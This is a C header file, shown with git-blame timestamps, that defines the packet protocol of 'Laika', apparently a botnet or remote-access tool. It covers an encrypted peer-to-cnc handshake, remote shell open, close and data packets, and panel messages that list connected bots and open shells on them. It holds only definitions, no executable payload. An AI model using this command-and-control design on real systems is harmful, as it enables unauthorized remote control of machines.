2022-01-24 03:28:16 +00:00
|
|
|
#ifndef LAIKA_PACKET_H
|
|
|
|
#define LAIKA_PACKET_H
|
|
|
|
|
2022-02-17 23:24:46 +00:00
|
|
|
#include <inttypes.h>
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#define LAIKA_MAGIC "LAI\x12"
|
|
|
|
#define LAIKA_MAGICLEN 4
|
2022-01-24 16:17:54 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#define LAIKA_MAX_PKTSIZE 4096
|
2022-01-25 19:53:17 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
#define LAIKA_HOSTNAME_LEN 64
|
|
|
|
#define LAIKA_IPSTR_LEN 64
|
|
|
|
#define LAIKA_INET_LEN 22
|
2022-02-15 22:57:21 +00:00
|
|
|
|
2022-04-06 05:35:50 +00:00
|
|
|
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
2022-06-27 23:57:00 +00:00
|
|
|
#define LAIKA_MAX_SHELLS 16
|
2022-02-21 23:25:49 +00:00
|
|
|
|
2022-06-30 01:31:22 +00:00
|
|
|
#define LAIKA_HANDSHAKE_SALT_LEN 32
|
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
/*
|
|
|
|
first handshake between peer & cnc works as so:
|
|
|
|
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
|
|
|
inet ip
|
|
|
|
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
|
|
|
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
|
|
|
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
|
|
|
|
sent
|
2022-01-28 01:55:28 +00:00
|
|
|
|
2022-06-27 23:57:00 +00:00
|
|
|
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
|
|
|
{
|
|
|
|
LAIKAPKT_ID pktID; -- plain text
|
|
|
|
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
|
|
|
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
|
|
|
}
|
2022-02-17 22:55:42 +00:00
|
|
|
|
2022-02-21 23:25:49 +00:00
|
|
|
any packet ending with *_RES is cnc 2 peer
|
|
|
|
any packet ending with *_REQ is peer 2 cnc
|
|
|
|
if packet doesn't have either, it can be sent & received by both peer & cnc
|
|
|
|
*/
|
2022-06-27 23:57:00 +00:00
|
|
|
|
|
|
|
enum
|
|
|
|
{
|
|
|
|
/* =======================================[[ Peer ]]======================================== */
|
2022-02-21 23:25:49 +00:00
|
|
|
LAIKAPKT_VARPKT,
|
|
|
|
/* layout of LAIKAPKT_VARPKT:
|
2022-06-27 23:57:00 +00:00
|
|
|
* LAIKAPKT_SIZE pktSize;
|
|
|
|
* LAIKAPKT_ID pktID;
|
|
|
|
*/
|
2022-06-30 01:31:22 +00:00
|
|
|
LAIKAPKT_HANDSHAKE_REQ,
|
|
|
|
/* first packet sent by peer & received by cnc */
|
2022-02-28 22:27:55 +00:00
|
|
|
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
|
|
|
* uint8_t majorVer;
|
|
|
|
* uint8_t minorVer;
|
|
|
|
* uint8_t osType;
|
2022-06-30 01:31:22 +00:00
|
|
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
|
|
|
|
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
|
|
|
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
2022-06-27 23:57:00 +00:00
|
|
|
*/
|
2022-01-24 03:28:16 +00:00
|
|
|
LAIKAPKT_HANDSHAKE_RES,
|
2022-01-28 01:55:28 +00:00
|
|
|
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint8_t cncEndian;
|
2022-06-30 01:31:22 +00:00
|
|
|
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
|
|
|
|
*/
|
|
|
|
LAIKAPKT_PEER_LOGIN_REQ,
|
|
|
|
/* second packet sent by peer & received by cnc there is no response packet. the socket
|
|
|
|
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
|
|
|
|
is the public key they say they are. */
|
|
|
|
/* layout of LAIKAPKT_PEER_LOGIN_REQ
|
|
|
|
* uint8_t peerType;
|
|
|
|
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
|
2022-06-27 23:57:00 +00:00
|
|
|
*/
|
2022-04-13 17:19:06 +00:00
|
|
|
LAIKAPKT_PINGPONG,
|
|
|
|
/* layout of LAIKAPKT_PINGPONG:
|
2022-06-27 23:57:00 +00:00
|
|
|
* NULL (empty packet)
|
|
|
|
*/
|
2022-05-20 19:10:53 +00:00
|
|
|
LAIKAPKT_SHELL_OPEN,
|
2022-02-21 23:25:49 +00:00
|
|
|
/* layout of LAIKAPKT_SHELL_OPEN:
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint32_t id;
|
|
|
|
* uint16_t cols;
|
|
|
|
* uint16_t rows;
|
|
|
|
*/
|
2022-05-20 19:10:53 +00:00
|
|
|
LAIKAPKT_SHELL_CLOSE,
|
2022-02-21 23:25:49 +00:00
|
|
|
/* layout of LAIKAPKT_SHELL_CLOSE:
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint32_t id;
|
|
|
|
*/
|
2022-05-20 19:10:53 +00:00
|
|
|
LAIKAPKT_SHELL_DATA,
|
2022-02-21 23:25:49 +00:00
|
|
|
/* layout of LAIKAPKT_SHELL_DATA
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint32_t id;
|
|
|
|
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
|
|
|
*/
|
|
|
|
/* =======================================[[ Auth ]]======================================== */
|
2022-06-30 01:31:22 +00:00
|
|
|
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
|
|
|
|
/* notification that a peer has connected to the cnc */
|
2022-02-21 23:25:49 +00:00
|
|
|
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
|
|
|
* char hostname[LAIKA_HOSTNAME_LEN];
|
|
|
|
* char inet[LAIKA_INET_LEN];
|
|
|
|
* char ipStr[LAIKA_IPSTR_LEN];
|
|
|
|
* uint8_t peerType;
|
|
|
|
* uint8_t osType;
|
|
|
|
*/
|
2022-06-30 01:31:22 +00:00
|
|
|
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
|
|
|
|
/* notification that a peer has disconnected from the cnc */
|
2022-02-21 23:25:49 +00:00
|
|
|
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
|
|
|
* uint8_t peerType;
|
|
|
|
*/
|
2022-06-30 01:31:22 +00:00
|
|
|
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
|
|
|
|
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
|
|
|
|
* open */
|
2022-02-25 04:13:05 +00:00
|
|
|
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
2022-06-27 23:57:00 +00:00
|
|
|
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
|
|
|
* uint16_t cols;
|
|
|
|
* uint16_t rows;
|
|
|
|
*/
|
2022-01-24 03:28:16 +00:00
|
|
|
LAIKAPKT_MAXNONE
|
2022-01-25 03:46:29 +00:00
|
|
|
};
|
2022-01-24 03:28:16 +00:00
|
|
|
|
2022-01-25 19:53:17 +00:00
|
|
|
typedef uint8_t LAIKAPKT_ID;
|
|
|
|
typedef uint16_t LAIKAPKT_SIZE;
|
|
|
|
|
2022-04-01 19:10:06 +00:00
|
|
|
#ifdef DEBUG
|
2022-06-27 23:57:00 +00:00
|
|
|
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
2022-04-01 19:10:06 +00:00
|
|
|
#endif
|
|
|
|
|
2022-01-24 03:28:16 +00:00
|
|
|
#endif
|